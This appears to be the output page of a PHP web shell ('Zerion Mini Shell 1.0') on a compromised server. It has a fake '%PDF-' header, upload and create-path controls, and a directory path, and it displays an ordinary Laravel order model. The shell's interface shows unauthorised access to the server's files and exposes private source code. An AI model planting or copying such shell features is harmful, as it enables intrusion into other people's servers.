%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/apache/htdocs/app/Models/
Upload File :
Create Path :
Current File : //usr/local/apache/htdocs/app/Models/Commande.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Commande extends Model
{
    use HasFactory;

    protected $fillable = [

        'facture_id',
        'commercial_id',
        'livreur',
        'livraison_ref',
        'status',
        'frais_livraison',
        'autre_livraison',
    ];

    protected $appends = [
        'total'
    ];

    protected $with = [
        'reglements'
    ];
    
    public function commande_products() {
        return $this->hasMany(Commande_product::class, 'commande_id');
    }

    public function commercial()
    {
        return $this->hasOne(User::class, 'id', 'commercial_id');
    }

    public function facture()
    {
        return $this->hasOne(Facture::class, 'id', 'facture_id');
    }

    public function reglements()
    {
        return $this->hasMany(Reglements::class, 'commande_id', 'id');
    }
    
    //Mohammed
    public function paid_reglements() {
        return $this->hasMany(Reglements::class, 'commande_id', 'id')->where('status', 'payed');
    }
    //Mohammed
    public function unpaid_reglements() {
        return $this->hasMany(Reglements::class, 'commande_id', 'id')->where('status', 'nonpayed');
    }

    public function getTotalAttribute() {
        $total_price = 0;
        foreach($this->commande_products as $comm) {
            $total_price = $total_price + ($comm->product->prixvente - $comm->remise);
        }
        return $total_price;
    }

    public function getPaidAmountAttribute() {
        $amount = 0;
        foreach($this->reglements as $reg) {
            if( $reg->status == 'payed' ) {
                $amount = $amount + $reg->montant;
            }
        }
        return $amount;
    }

    public function getUnPaidAmountAttribute() {
        return $this->total - $this->paid_amount;
    }
}

Zerion Mini Shell 1.0